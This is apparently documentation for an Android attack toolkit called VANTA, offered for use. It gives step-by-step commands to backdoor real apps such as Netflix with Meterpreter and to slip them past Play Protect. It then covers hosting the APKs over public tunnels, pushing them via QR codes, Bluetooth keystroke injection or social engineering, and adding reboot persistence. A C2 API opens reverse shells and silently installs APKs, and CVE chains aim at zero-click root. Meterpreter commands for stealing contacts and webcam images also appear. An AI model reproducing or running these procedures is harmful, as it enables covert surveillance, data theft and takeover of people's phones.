bore.pubTCP tunnelRandom 30k–65k❌ Often blocked❌ HTTP onlySession-based
cloudflaredHTTPS via Cloudflare443✅ Yes✅ YesHours (quick tunnel)

Google Play Protect Evasion

Google Play Protect (GPP) runs on every Android device with Google Play Services and scans installed APKs both at install time and periodically in the background. Standard Metasploit APKs are flagged immediately because GPP has static signatures for the msfvenom package structure.

What GPP Detects

SignatureLocationWhy it's flagged
com/metasploit/stage/Smali package pathExact string match against known malware DB
android:scheme="metasploit"AndroidManifest.xmlIntent filter with literal "metasploit" scheme
Payload, MainService, MainBroadcastReceiverClass namesKnown msfvenom class names
Self-signed debug certAPK signatureLow-reputation certificate

bypass_play_protect Pipeline

# Step 1 — Backdoor the APK (creates Netflix_merged_signed.apk)
set operation backdoor_apk
set apk_path /path/to/Netflix.apk
set lhost 192.168.1.100
set lport 4444
run no_device

# Step 2 — Evade Play Protect (no device needed)
set operation bypass_play_protect
set app_name Netflix Inc.
# fake_pkg defaults to a random GMS-lookalike package
run no_device
# → Netflix_merged_signed_evade_signed.apk

# Step 3 — Customize icon + label + package (no device needed)
set operation customize_apk
set app_label Netflix
set package_name com.netflix.mediastream
set icon_path /tmp/netflix_icon.png
set output_name Netflix_v8.114.apk
run no_device
# → hot-swaps Netflix_patched.apk on APK server automatically

# Step 4 — Start MSF handler
set operation msf_handler
set lhost 192.168.1.100
set lport 4444
run no_device

# Step 5 — WAN expose (localhost.run HTTPS tunnel)
set operation wan_expose
run no_device
# → prints https://xxxxxx.lhr.life/Netflix_v8.114.apk + QR

Beginner Guide — Android WAN Payload Delivery End to End

This guide walks through a complete payload delivery scenario from scratch, assuming no prior Android pentesting experience. You need: Kali/Arch Linux, Android device with "Install unknown apps" enabled, and a target APK to backdoor.

Prerequisites

# Install required tools
sudo pacman -S android-tools metasploit apktool    # Arch
sudo apt install android-tools-adb metasploit-framework apktool  # Kali

# Verify msfvenom
msfvenom --list payloads | grep android

# Install apksigner
pip install apksigner   # or via Android SDK build-tools

# Install Pillow for icon patching
pip install Pillow

Step 1 — Understand the Payload Flow

A backdoored APK contains two things: the original app's code (unchanged) and an injected Metasploit Meterpreter payload that runs a reverse TCP connection back to your machine when the app launches. The connection goes: Target Device → Internet → Your WAN IP:Port → Meterpreter session.

If you are behind NAT (home router, coffee shop), you cannot receive incoming connections directly. This is why we use a reverse tunnel — your machine connects out to a relay server, and the target device's connection reaches you through the relay.

Step 2 — Enable WAN Accessibility

# Option A: localhost.run (simplest — works on all networks)
# Terminal 1: start APK server
mkdir -p /tmp/apk-serve && cp payload.apk /tmp/apk-serve/
cd /tmp/apk-serve && python3 -m http.server 8891

# Terminal 2: expose via SSH tunnel
ssh -R 80:localhost:8891 localhost.run
# Copy the https://xxxxx.lhr.life URL shown

# Option B: bore (if port 22 is blocked)
bore local 8891 --to bore.pub
# Copy http://bore.pub:XXXXX

Step 3 — Generate the Backdoored APK

# Inject msfvenom payload into Netflix APK
set operation backdoor_apk
set apk_path /tmp/Netflix.apk
set lhost 192.168.1.100   # your LAN IP for local test, or 0.0.0.0 for WAN via handler
set lport 4444
set payload tcp
run no_device

Output APK is saved to ~/.vanta/android/auto/<timestamp>/. Note: if msfvenom's -x template injection fails (common with large or obfuscated APKs), VANTA automatically falls back to the apktool-merge pipeline which handles any APK.

Step 4 — Deliver via QR Code or Link

Share the HTTPS URL from Step 2. When the target opens it on their Android device, Chrome will download the APK. They tap OpenInstallInstall anyway (unknown sources prompt). If Play Protect warns them, run bypass_play_protect first (Step 2a in the full pipeline above).

To generate a scannable QR code automatically, use the Delivery tab in the VANTA GUI after any injection operation — the QR is auto-generated with the WAN URL embedded.

Step 5 — Catch the Meterpreter Session

# Start MSF handler BEFORE the target installs the APK
msfconsole -q -r ~/.vanta/android/auto/<session>/handler.rc

# Or manually:
msfconsole -q
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST 0.0.0.0        # listen on all interfaces
set LPORT 4444
set ExitOnSession false
exploit -j               # run in background, catches multiple sessions

# When target installs + opens APK:
# [*] Meterpreter session 1 opened (0.0.0.0:4444 → x.x.x.x:port)
sessions -i 1
meterpreter > sysinfo
meterpreter > dump_contacts
meterpreter > webcam_snap
Tip for beginners: If your LHOST is behind NAT, the target device can't reach your local IP. Use localhost.run to create an SSH tunnel for the Meterpreter callback too — forward your MSF handler port through the relay so the LHOST in the APK resolves to something publicly reachable.

Contributor Guide — Adding New Operations

VANTA's android_pentest module uses a JSON stdin/stdout protocol with a \x00RESULT\x00 sentinel. Adding a new operation requires three changes:

1. Implement the operation method

# In android_pentest.py, add before execute():
def _my_operation_operation(self):
    # Access params
    target = self.params.get("target", "")
    lhost  = self._lhost()

    # Log to terminal (streamed to GUI via SSE)
    self.log(f"[*] Running my_operation on {target}")

    # Run ADB commands (returns rc, stdout, stderr)
    rc, out, err = self._adb_shell("id")

    # Add findings (shown in Findings tab)
    self.findings.append({
        "type": "my_finding",
        "data": out.strip(),
    })

    # Add errors
    if rc != 0:
        self.errors.append(f"Command failed: {err}")

2. Register it in execute()

# Add to _no_device_ops if no ADB connection needed:
_no_device_ops = {"...", "my_operation"}

# Add to ops dispatch dict:
ops = {
    "...": ...,
    "my_operation": self._my_operation_operation,
}

3. Add to GUI sidebar (android_gui.py)

# In the OPS constant, add to the appropriate group:
{id:"my_operation", label:"my operation",
 desc:"One-line description for the params panel",
 runLabel:"RUN",
 fields:[
   {n:"target", p:"com.example.app", t:"text", label:"Target package"},
   {n:"mode",   p:"auto",            t:"select",
    opts:["auto","manual"],           label:"Mode"},
 ]},

4. Add to this documentation

Add an .op-card div in the Operations Reference section, update the parameter table, and add an example code block. Submit a PR to 0xb0rn3.github.io.

QR Exploit Modes

modeQR payloadUse case
apkhttp://<lhost>:<lport>/payload.apkVictim scans → browser downloads APK directly
intentAndroid Intent URICustom deep-link or in-app action
adb_pairWIFI:T:ADB;S:<host>:<pair_port>;P:<code>;;Android 11+ wireless debug pairing - no tap required
deeplinkCustom URL schemeApp deeplink to trigger in-app logic
customAny stringRaw QR - URL, text, vCard, etc.
wanhttps://<hash>.lhr.life/payload.apkStarts localhost.run HTTPS tunnel + persistent APK HTTP server (detached), QR encodes real public WAN HTTPS URL. Falls back to bore if SSH unavailable.
# ADB wireless pairing QR (Android 11+)
set operation qr_exploit
set mode adb_pair
set pair_port 37123
set pair_code 123456
run no_device   # no ADB connection needed - prints QR to terminal

# APK delivery QR with embedded HTTP server
set operation qr_exploit
set mode apk
set lhost 192.168.1.42
set lport 8888
run no_device

# WAN APK delivery via bore tunnel - no port forwarding needed
set operation qr_exploit
set mode wan
set apk_path /tmp/payload.apk   # explicit APK path (optional - uses work_dir glob if omitted)
set bore_server bore.pub        # default, can omit
run no_device   # starts bore tunnel + detached HTTP server, prints WAN QR

C2 Dashboard (c2_gui.py)

The C2 Dashboard is a standalone web server (c2_gui.py) that manages agent callbacks, bore WAN tunnels, MSF Meterpreter sessions, operation execution, and encrypted session logs. In the android_gui it is embedded as an iframe in the C2 Dashboard tab and auto-started on a configurable port (default 8889). It can also run standalone:

python3 tools/mobile/android/c2_gui.py --port 8889 --lhost auto --lport 4444 --auto-exploit

Sessions — TCP Agent Callbacks

The C2 server listens on a TCP port (default 8889) for incoming agent connections. When the native agent (vanta_agent) calls back, its recon report is parsed and a session is registered. Each session records: device model, Android version, SDK, root method, security patch, chipset, IP, agent mode, and full command history.

Session APIMethodDescription
GET /api/sessionsGETList all sessions (summary, no raw report/output)
GET /api/sessions/<addr>GETFull session data for one agent IP:port
GET /api/sessions/<addr>/outputGETCommand output history for a session
POST /api/sessions/<addr>/commandPOST {"cmd":"SH:id"}Queue a command for the next agent callback
POST /api/sessions/<addr>/killPOSTMark session inactive and auto-save .scv log
POST /api/sessions/<addr>/exportPOSTSave session to ~/.vanta/sessions/<ts>_<addr>.scv
POST /api/sessions/<addr>/encryptPOST {"password":"…"}Export session as password-protected .scv (5-layer encryption)
POST /api/sessions/<addr>/logoutPOST {"password":"…"}Save encrypted .scv and remove session from memory

Agent Opcodes

Commands are queued via /api/sessions/<addr>/command and fetched by the agent on its next callback.

OpcodeFormatAction
SH:SH:<cmd>Execute arbitrary shell command on device; output returned in next callback
SHELL:SHELL:host:portOpen a reverse shell to attacker (mkfifo + nc; nc -e fallback)
ROOT_SHELL:ROOT_SHELL:host:portRoot reverse shell via Magisk/KernelSU su + mkfifo
APK:APK:urlDownload APK from URL and silently install

Bore Tunnel Manager

The C2 manages bore WAN tunnels via a BoreManager class that tracks subprocess handles, auto-restarts on failure, and exposes a full REST API.

EndpointBodyAction
POST /api/bore/start{"local_port":4444,"bore_port":37993,"bore_server":"bore.pub"}Start a bore tunnel: bore.pub:37993 → localhost:4444
POST /api/bore/stop{"local_port":4444,"bore_port":37993}Stop a specific tunnel
POST /api/bore/http/start{"directory":"output","port":8080}Start a python3 -m http.server in a given directory
POST /api/bore/http/stop{"port":8080}Stop the HTTP server on that port
POST /api/bore/stopallTerminate all bore tunnels and HTTP servers
GET /api/bore/statusList all running tunnels with local port, bore port, PID, and status

MSF Session Integration

Reads MSF RPC connection config from ~/.vanta/msf_rpc.json (written by the msf_handler operation). Once connected, the C2 can list and interact with active Meterpreter sessions.

EndpointMethodDescription
GET /api/msf/sessionsGETList active Meterpreter sessions via msfrpcd; returns connected bool
POST /api/msf/runPOST {"session_id":"1","cmd":"sysinfo"}Run a command in a Meterpreter session via RPC

Operation Launcher

The C2 GUI can launch any android_pentest operation directly from the browser without needing the VANTA shell. The operation runs as a background job; output is polled via the job API.

# POST /api/operation — run any android_pentest operation
# Body example:
{
  "operation": "recon",
  "device": "auto"
}

{
  "operation": "backdoor_apk",
  "package":   "com.instagram.android",
  "lhost":     "auto",
  "lport":     "4444",
  "wan_expose": "true"
}

# Poll job status:
GET /api/ops/<job_id>

QR Generator

# Generate QR for any URL:
GET /api/qr?url=http://bore.pub:21062/payload.apk
GET /api/qr?url=http://bore.pub:21062/payload.apk&download=1   # also saves PNG to output/

# Returns: {"png_b64": "<base64 PNG>"}
# Requires: pip3 install qrcode[pil]

Session Logs (.scv format)

Sessions are persisted as .scv files in ~/.vanta/sessions/. Two formats: standard (auto-key Fernet + gzip) and password-protected (5-layer AES-256-GCM + ChaCha20-Poly1305 with scrypt key derivation).

FormatMagicEncryption
StandardSCV1Auto-generated Fernet key stored in ~/.vanta/.scvkey — readable without password on the same machine
Password-protectedS5CV5-pass key derivation: PBKDF2-SHA512 (200k) → SHA3-512 → PBKDF2-SHA256 (100k) → scrypt(N=217) → AES-256-GCM + ChaCha20-Poly1305
# Session log API:
GET  /api/logs                              # list all .scv files
GET  /api/logs/<filename>                  # read unprotected log
POST /api/logs/<filename>/decrypt          # {"password":"…"} — decrypt protected log

Standalone Usage

# Start C2 standalone (TCP + HTTP on same port)
python3 tools/mobile/android/c2_gui.py \
  --port 8889 --lhost 192.168.1.100 --lport 4444 --auto-exploit

# auto-exploit: when an agent connects in exploit/c2 mode,
# automatically queue SHELL:<lhost>:<lport> for a reverse shell

# Start from VANTA shell:
set operation c2_gui    # opens browser
set operation c2_cli    # headless, prints URL only
run

WAN Delivery via Bore

The wan mode automates WAN APK delivery without any router port-forwarding. When selected, the module:

  1. Locates the APK to serve — uses apk_path if set, otherwise globs the current work directory for *.apk
  2. Spawns a Python HTTP server as a detached subprocess (start_new_session=True) — it survives after the parent process exits
  3. Starts a bore local tunnel connecting to bore_server (default: bore.pub), obtaining a random public port
  4. Generates the QR code encoding the real public WAN URL: http://bore.pub:<assigned-port>/payload.apk
  5. Prints the ASCII QR to the terminal and saves a PNG
bore binary: Install bore v0.5.1 to ~/.local/bin/bore:
curl -sL https://github.com/ekzhang/bore/releases/download/v0.5.1/bore-v0.5.1-x86_64-unknown-linux-musl.tar.gz | tar xz -C ~/.local/bin

Parameters

Core Parameters

ParameterTypeReqDefaultDescription
operationstringnoreconOperation to run. See Operations section above.
packagestringYES*Target app package name. Required for most operations.
devicestringnoautoADB device serial. Auto-selected if only one device is connected.
search_secretsboolnotrueScan decompiled code for embedded secrets, API keys, tokens.
deep_analysisboolnofalseUse jadx Java decompilation (slower but more thorough).
third_party_onlyboolnotrueOnly scan user-installed apps (skip system apps).
scan_limitintno5Max apps to scan when no package is specified.
bypass_sslboolnofalsePatch SSL pinning via smali injection (no Frida needed).
proxyboolnofalseConfigure device HTTP proxy.
proxy_hoststringnoautoProxy IP (auto-detected from network interfaces).
proxy_portintno8080Proxy port.
backupboolnofalseCreate ADB backup of the target app.
cleanupboolnofalseDelete work directory after operation completes.
nvd_api_keystringnoNVD API key for real-time CVE lookups. Also reads NVD_API_KEY env var.
modestringnoSet to gui to launch the full Android Pentest web dashboard (android_gui.py) on localhost. All other params are ignored when mode=gui.
gui_portintno8897HTTP port for the GUI server (mode=gui).
bore_serverstringnobore.pubBore relay server hostname. Used by qr_exploit wan mode, wan_expose bore fallback, and auto-WAN-expose after injection ops.
apk_pathstringnoExplicit path to an APK file on the host. Used by backdoor_apk (bypasses device pull — no ADB connection needed; package name derived from filename if not set), qr_exploit wan, rebuild, and the GUI file manager's "use in ops" action.
wan_exposeboolnotrueAuto-run WAN expose (bore tunnel + APK HTTP server) after backdoor_apk, deploy_shell, or objection_patch. Set false to skip.
serve_portintno8890Local HTTP port for the APK serve subprocess during WAN expose.
lhoststringnoautoAttacker IP for reverse shell callbacks. Auto-detected from the default route if omitted or set to auto, none, 0.0.0.0, or empty string.
lportintno4444Attacker listener port for reverse shell callbacks.

CVE / Vuln Scan Parameters

ParameterTypeReqDefaultDescription
cvestringYES*CVE identifier for exploit_cve operation. One of: CVE-2024-0044, CVE-2024-31317, CVE-2023-45866, CVE-2023-40088, CVE-2023-24033, CVE-2023-26072, CVE-2024-43093, CVE-2025-27363, CVE-2023-0266, CVE-2024-53104, CVE-2023-21492, CVE-2024-20017. *Required only for exploit_cve.
show_patchedboolnofalseWhen false (default), CVEs covered by the device patch level are silently excluded from vuln_scan results — only vulnerable CVEs are reported. When true, patched CVEs are included at INFO severity with patch_status: patched and a note that the CVE is likely not exploitable. Applies to vuln_scan and exploit_cve.
chainstringYES*Chain name for cve_chain operation. Built-ins: bt_to_root, sandbox_exfil, zero_click_full, exynos_baseband_rce, wifi_zero_click, freetype_browser, kernel_lpe_chain, bt_zero_click_exfil. *Required for cve_chain.

Inject Agent Parameters

ParameterTypeDefaultDescription
agent_modestringreconrecon - collect and report only. exploit/c2 - also receive and execute C2 instructions.
c2_hoststringautoAttacker IP the agent should call back to. Auto-detected from default route.
c2_portint8889TCP port for the C2 listener.
c2_timeoutint20Seconds to wait for agent TCP callback.
escalateboolfalseAutomatically issue ROOT_SHELL or SHELL when agent connects in exploit/c2 mode.
lhoststringautoReverse shell callback IP (used with escalate=true).
lportint4444Reverse shell callback port (used with escalate=true).

Frida Hook Parameters

ParameterTypeDefaultDescription
hook_modestringallall | ssl_unpin | root_bypass | dump_creds | trace
hook_timeoutint30Seconds to keep Frida attached before detaching.
trace_methodstringClass or method substring to trace (used with hook_mode=trace).

Process Inject Parameters

ParameterTypeDefaultDescription
actionstringsniffsniff — enumerate running processes. inject — attach and inject reverse shell thread. persist_only — install persistence vectors without injecting.
target_processstring/intPID (integer) or package name of the process to inject. Resolved via pidof <pkg> then ps -A | grep fallback.
inject_modestringfridafrida — Frida-based Java Thread injection (no root required if frida-server is already running). ptrace — native ptrace shellcode loader (requires root + agent/inject_arm64 + shell_arm64.so).
persistboolfalseInstall persistence after injection: Magisk service.sh (root), BootReceiver smali patch, and immediate am broadcast BOOT_COMPLETED.
lhoststringautoReverse shell callback IP for the injected thread.
lportint4444Reverse shell callback port for the injected thread.

Backdoor APK & Deploy Shell Parameters

ParameterTypeDefaultDescription
packagestringPackage name of the app to backdoor (pulled from connected device). Not required if apk_path is set directly.
apk_pathstringExplicit host path to an APK template. Bypasses device pull when set.
payloadstringandroid/meterpreter/reverse_tcpMetasploit payload. Shorthand aliases: tcp, http, https, shell, stageless.
lhoststringautoAttacker IP. Auto-detected if set to auto or empty; WAN bore IP resolved automatically for WAN expose.
lportint4444Listener port.
installboolfalseUninstall original app and install the backdoored APK after signing.
wan_exposebooltrueAuto-run WAN expose (bore tunnel + detached HTTP server) after injection completes. Delivery info appears in GUI Delivery tab.
serve_portint8890Local port for the APK HTTP server during WAN expose.
bore_serverstringbore.pubBore relay server for the WAN tunnel.

CVE Check, Exploit & Chains

The vuln_scan, exploit_cve, and cve_chain operations provide a full CVE assessment and exploitation workflow. All three operations use the same JSON stdin/stdout protocol as every other VANTA operation and are accessible from both the CLI and the GUI CVE tab.

CVE Database — All 19 Tracked CVEs

CVESeverityCVSSCategoryVectorPoCvanta_function
CVE-2023-24033CRITICAL9.8Exynos BasebandRemote/internet, zero-click (Exynos only)Project Zero (private)_exploit_cve_2023_24033
CVE-2023-26072CRITICAL9.8Exynos BasebandRemote, zero-click (Exynos only)Project Zero (private)_exploit_cve_2023_26072
CVE-2023-26073CRITICAL9.8Exynos BasebandRemote, zero-click (Exynos only)
CVE-2023-26076HIGH7.8Exynos BasebandRemote (Exynos only)
CVE-2024-20017CRITICAL9.8Samsung WiFiWiFi range, zero-click (Exynos only)PoC available_exploit_cve_2024_20017
CVE-2024-0044HIGH8.8Android FrameworkPost-install APK_exploit_cve_2024_0044
CVE-2024-31317HIGH8.8Android FrameworkPost-install APK_exploit_cve_2024_31317
CVE-2023-35674HIGH7.8Android FrameworkPost-install APK
CVE-2024-43093HIGH7.8Android FrameworkPost-install APK — ITWIn-the-wild_exploit_cve_2024_43093
CVE-2023-21282HIGH8.8Android FrameworkMalicious media file
CVE-2025-27363CRITICAL9.8FreeType / WebViewMalicious web page — ITWIn-the-wild_exploit_cve_2025_27363
CVE-2023-40088CRITICAL9.8BluetoothBluetooth range, zero-clickPoC available_exploit_cve_2023_40088
CVE-2023-45866CRITICAL9.0BluetoothBluetooth rangePoC available_exploit_cve_2023_45866
CVE-2023-21492HIGH7.5Samsung KernelLocal info-leak (Samsung only)_exploit_cve_2023_21492
CVE-2024-34585HIGH8.0Samsung SpecificPost-install APK (Samsung only)
CVE-2023-0266HIGH7.8Kernel LPELocal (ALSA — kernel ≤5.10)_exploit_cve_2023_0266
CVE-2023-3269HIGH7.8Kernel LPELocal (StackRot VMA)
CVE-2024-53104HIGH7.8Kernel LPELocal/USB — ITWIn-the-wild_exploit_cve_2024_53104
CVE-2024-34514MEDIUM5.5Samsung KernelLocal

Exploit Handlers — 12 Active Handlers

CVEHandler FunctionTechniqueOutcome
CVE-2024-0044_exploit_cve_2024_0044run-as UID confusion → arbitrary package data accessApp sandbox bypass — access any installed app's private data as target UID
CVE-2024-31317_exploit_cve_2024_31317Zygote deserialization via serialized PendingIntentArbitrary app code execution as system UID (UID 1000) — full Framework LPE
CVE-2023-45866_exploit_cve_2023_45866Bluetooth HID HIDP kernel injection (no pairing)Arbitrary keyboard input injected to foreground app — no user interaction
CVE-2023-40088_exploit_cve_2023_40088l2c_rcv_acldata UAF via crafted L2CAP packet — zero-clickBluetooth range RCE — zero user interaction, no pairing required
CVE-2023-24033_exploit_cve_2023_24033Shannon modem SDP/SIP format string → AP kernel RCEBaseband → AP kernel code execution over mobile data, zero-click
CVE-2023-26072_exploit_cve_2023_26072Exynos SIP INVITE heap overflow → baseband code executionBaseband RCE over SIP — zero user interaction
CVE-2024-43093_exploit_cve_2024_43093DocumentsUI path traversal → arbitrary file read/writeAccess files outside sandbox — exfil /data/data/ contents
CVE-2025-27363_exploit_cve_2025_27363FreeType OOB write via malformed font in WebViewBrowser-based RCE → WebView sandbox escape — delivered via malicious web page
CVE-2023-0266_exploit_cve_2023_0266ALSA snd_ctl_elem_read UAF → kernel LPELocal privilege escalation to root on kernel ≤5.10 (4.4, 4.9, 4.14, 4.19, 5.4, 5.10)
CVE-2024-53104_exploit_cve_2024_53104UVC driver OOB write via malformed USB descriptorKernel LPE from local/USB — in-the-wild exploitation confirmed
CVE-2023-21492_exploit_cve_2023_21492Samsung kernel log pointer leak (dmesg / /proc/kmsg)KASLR defeat — read kernel base address to chain into kernel LPE
CVE-2024-20017_exploit_cve_2024_20017dhd driver OOB write via oversized WiFi frameWiFi-range RCE on Samsung Exynos devices — zero-click, no association required

CVE Chains — 8 Named Chains

ChainStepsCVEsDescription
bt_to_root3CVE-2023-45866 → CVE-2024-0044 → CVE-2024-31317BT HID initial access via keyboard injection → Framework sandbox bypass → Zygote system UID. Full root chain from Bluetooth range.
sandbox_exfil3CVE-2024-0044 → CVE-2024-31317 → CVE-2024-43093run-as UID confusion → Zygote system escalation → DocumentsUI path traversal for full /data exfiltration.
zero_click_full3CVE-2023-40088 → CVE-2024-31317 → CVE-2024-43093Bluetooth zero-click UAF RCE → Zygote privesc → DocumentsUI exfil. Entire chain requires zero user interaction.
exynos_baseband_rce3CVE-2023-24033 → CVE-2023-26072 → CVE-2024-31317Exynos Shannon modem format string → SIP heap overflow confirmation → Zygote AP-level persistence. Requires Exynos chipset + mobile data.
wifi_zero_click3CVE-2024-20017 → CVE-2023-21492 → CVE-2023-0266Samsung WiFi OOB (zero-click, WiFi range) → KASLR pointer leak → ALSA kernel LPE. Full remote-to-root over WiFi.
freetype_browser3CVE-2025-27363 → CVE-2024-43093 → CVE-2024-31317FreeType OOB via malicious web page → DocumentsUI path traversal escalation → Zygote system UID. Delivered via browser link.
kernel_lpe_chain3CVE-2023-21492 → CVE-2023-0266 → CVE-2024-53104Samsung kernel pointer leak to defeat KASLR → ALSA UAF LPE → UVC driver OOB confirmation. Parallel kernel LPE paths after KASLR defeat.
bt_zero_click_exfil3CVE-2023-40088 → CVE-2024-0044 → CVE-2024-43093Bluetooth UAF zero-click initial access → Framework LPE via run-as bypass → DocumentsUI path traversal for data exfiltration.

vuln_scan — Device CVE Assessment

vuln_scan checks the connected device against all 19 CVEs in the database. Each CVE is evaluated against the device SDK level, vendor filter (chipset/manufacturer), and patch date. Results are emitted as structured JSON via the \x00RESULT\x00 sentinel and rendered as severity-badged cards in the GUI CVE tab.

use android_pentest
set operation vuln_scan
set show_patched true   # optional — include patched CVEs at INFO severity
run connected

exploit_cve — Targeted Exploitation

use android_pentest
set operation exploit_cve
set cve CVE-2024-43093
set show_patched false   # default — skip if patched
run connected

cve_chain — Multi-Step Chain

use android_pentest
set operation cve_chain
set chain wifi_zero_click
set lhost 192.168.1.101
set lport 4444
run connected

BT Zero Deliver — Zero-Click APK Delivery

bt_zero_deliver combines CVE-2023-45866 Bluetooth HID injection with automatic WAN APK hosting to deliver a payload to a target device without any user interaction beyond Bluetooth being enabled. No pairing is required. The WAN delivery URL is always emitted — even without Bluetooth — making this a dual-mode operation covering both zero-click (Phase 4b) and link-based delivery (Phase 4a).

The generated APK includes a BootReceiver persistence stub injected via apktool smali patching — the Meterpreter shell reconnects automatically on every device reboot without requiring re-delivery. The MSF callback uses a dedicated bore WAN tunnel (separate from the APK delivery tunnel) so the handler runs over the public internet with no port-forwarding on the attacker side.

Prerequisites — Two Questions Answered

QuestionAnswerDetail
Does Bluetooth need to be ON on the target? YES — classic BT, not just BLE CVE-2023-45866 uses L2CAP PSM 0x11/0x13 which are Classic Bluetooth protocols. BLE-only mode (state: BLE_ON) is insufficient — the HID channels are not active. Check: adb shell dumpsys bluetooth_manager | grep state. Enable via root ADB: adb shell su -c "svc bluetooth enable"
Does ADB need to be ON on the target? NO — BT HID path is ADB-independent The BT HID injection (CVE-2023-45866) operates entirely over Bluetooth L2CAP — ADB is not involved. ADB is only needed if using open_method=adb (am start intent fallback) or for pre-attack recon (getting BT MAC, enabling BT). In a true zero-click scenario with no prior access, you'd get the BT MAC via BT inquiry scan (requires target to be discoverable) or OUI matching.

Attacker Host Prerequisites

RequirementCheckFix
BT adapter presentls /sys/class/bluetooth/hci0USB dongle or built-in adapter
bluetoothd runningsystemctl is-active bluetoothsystemctl enable --now bluetooth
Adapter not rfkill-blockedrfkill list bluetoothrfkill unblock bluetooth
CAP_NET_RAW on python3python3 -c "import socket; socket.socket(socket.AF_BLUETOOTH,socket.SOCK_SEQPACKET,0)" — then try bindsudo setcap cap_net_raw+eip $(which python3)
OR run VANTA as root for BT operations
bluez + bluez-utilspacman -Q bluez bluez-utilsyay -S bluez bluez-utils (pacman on Arch)

Getting the Target BT MAC

MethodRequiresCommand
ADB (fastest)ADB access to deviceadb shell settings get secure bluetooth_address
BT inquiry scan (host)Target discoverable, host BT up + CAP_NET_RAWpython3 -c "import bluetooth; print(bluetooth.discover_devices(lookup_names=True))"
(requires yay -S python-pybluez)
Root ADBRooted device + ADBadb shell su -c "cat /sys/class/bluetooth/hci0/address"
Service callADB accessadb shell service call bluetooth_manager 6 — parse Parcel output

Attack Flow

STEP 1
Bore MSF Tunnel
bore opens localhost:lport → bore.pub:RANDOM. Resolves bore.pub to IP for msfvenom LHOST validation. MSF handler RC generated.
STEP 2
Generate + Persist APK
msfvenom APK with bore WAN LHOST:PORT. apktool injects BootReceiver.smali → rebuilds → debug-signs. Payload fires on every reboot.
STEP 3
WAN APK Serve
HTTP server on serve_port + second bore tunnel → wan_url. Always emitted — BT failure does not stop this step.
STEP 4
Deliver URL
BT HID: HOME → type wan_url → ENTER. ADB: am start VIEW wan_url. Browser opens APK download on target.
STEP 5
WAN MSF Callback
Target installs APK → Meterpreter calls bore.pub:PORT → bore → localhost:lport → MSF handler. Repeats on every reboot (BootReceiver).

CVE-2023-45866 — BT HID Technical Detail

Android's Bluetooth stack accepted incoming HID connections on L2CAP PSM 0x11 (Control) and PSM 0x13 (Interrupt) without requiring device pairing or user confirmation. A Python socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP=0) can connect directly and send USB HID keyboard reports (10-byte packets: 0xa1 0x01 modifier reserved keycode×6) injected into the device's input event pipeline as physical keyboard input. Patched in the December 2023 Android Security Bulletin (patch ≥ 2023-12-01 is safe). Requires classic Bluetooth ON — BLE-only mode does not expose PSM 0x11/0x13.

Raw L2CAP sockets require CAP_NET_RAW on the host. Grant it permanently:

sudo setcap cap_net_raw+eip $(which python3)   # one-time setup
rfkill unblock bluetooth                        # if adapter is soft-blocked
systemctl enable --now bluetooth               # ensure bluetoothd is running

Persistence — BootReceiver Injection

After msfvenom generates the base APK, _inject_boot_persist() runs the full apktool pipeline automatically:

# Automatic — no manual steps required:
apktool d bt_deliver_payload.apk -o decoded/      # 1. Decode
# 2. Write BootReceiver.smali to smali/com/vanta/persist/
# 3. Patch AndroidManifest.xml:
#      + uses-permission RECEIVE_BOOT_COMPLETED
#      + <receiver android:name=".BootReceiver">
#          <intent-filter><action BOOT_COMPLETED /></intent-filter>
#        </receiver>
apktool b decoded/ -o persist_unsigned.apk        # 4. Rebuild
apksigner sign --ks vanta.keystore persist_unsigned.apk -o persist_signed.apk  # 5. Sign

The signed APK is served at wan_url. After the user installs it, the BOOT_COMPLETED broadcast fires the BootReceiver on every reboot, which re-launches the Meterpreter service. Combined with the bore MSF WAN tunnel, the handler catches callbacks even after network changes — no static IP needed.

WAN MSF Callback — Two Bore Tunnels

The operation opens two independent bore tunnels:

TunnelLocal PortPublic URLPurpose
MSF callback tunnel lport (default 4444) bore.pub:PORT1 Embedded in APK LHOST — Meterpreter dials this on install and every reboot
APK delivery tunnel serve_port (default 8890) bore.pub:PORT2wan_url HTTP server serving the signed APK — sent to target browser via BT HID or ADB intent

bore.pub is a hostname — msfvenom requires an IP for LHOST. The operation resolves the hostname via socket.gethostbyname() before calling msfvenom. The resolved IP (msf_bore_lhost) and bore-assigned port (msf_bore_lport) are both returned in the result for use in manual handler setup.

# Run handler using generated RC file:
msfconsole -q -r ~/.vanta/android/<serial>/<ts>/bt_deliver_handler.rc

# Or manually:
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 4444                    # local side of bore MSF tunnel
exploit -j                         # bore forwards bore.pub:PORT1 → here

Output Status Values

statusMeaning
injectedBT HID connected, HOME+URL+ENTER injected. Target browser opened download link. WAN URL also emitted.
adb_intent_sentopen_method=adbam start VIEW wan_url fired via ADB. APK includes BootReceiver persistence + bore WAN MSF tunnel. BT HID skipped.
url_onlybt_addr omitted or no BT adapter — APK (with BootReceiver) served over bore, wan_url ready for manual delivery (Phase 4a).
installedAPK pushed and pm install succeeded (ADB direct-push path). Payload is live on device, BootReceiver active.
push_failedADB push failed — device not connected or serial wrong. Check adb devices.
connection_failedL2CAP connect timed out or refused. Causes: classic BT off, target patched (≥ 2023-12-01), or Samsung HIDH auth check (see below).
permission_deniedCAP_NET_RAW missing. Fix: sudo setcap cap_net_raw+eip $(which python3)

Phase 4a — WAN APK Link Delivery (manual fallback)

wan_url in the result is always the direct bore link to the APK (persist_signed.apk with BootReceiver already injected) — regardless of whether BT HID succeeds. Send this to the target via SMS, email, or social engineering. Target taps → Chrome downloads → install prompt → Meterpreter session opens → persists on reboot. This is the standard Phase 4a delivery path (no BT, no ADB, no proximity required).

Example — ADB fast-path delivery (confirmed working)

# One-time host setup:
sudo setcap cap_net_raw+eip $(which python3)
rfkill unblock bluetooth
systemctl start bluetooth

# Get target BT MAC via ADB:
adb shell settings get secure bluetooth_address
# → A8:34:6A:E9:AE:87

# Enable classic BT on target if it shows BLE_ON:
adb shell dumpsys bluetooth_manager | grep state
adb shell su -c "svc bluetooth enable"

use android_pentest
set operation bt_zero_deliver
set device 192.168.1.124:5555
set bt_addr A8:34:6A:E9:AE:87
set lhost 192.168.1.101
set lport 4444
set open_method adb      # ADB am start — faster, bypasses HID ECONNRESET edge case
set bore_server bore.pub
run

# VANTA output (abridged):
# [*] Bore MSF tunnel:  http://bore.pub:12610  (lhost resolved: 161.35.110.36)
# [*] APK ready:        bt_deliver_payload.apk  lhost=161.35.110.36:12610
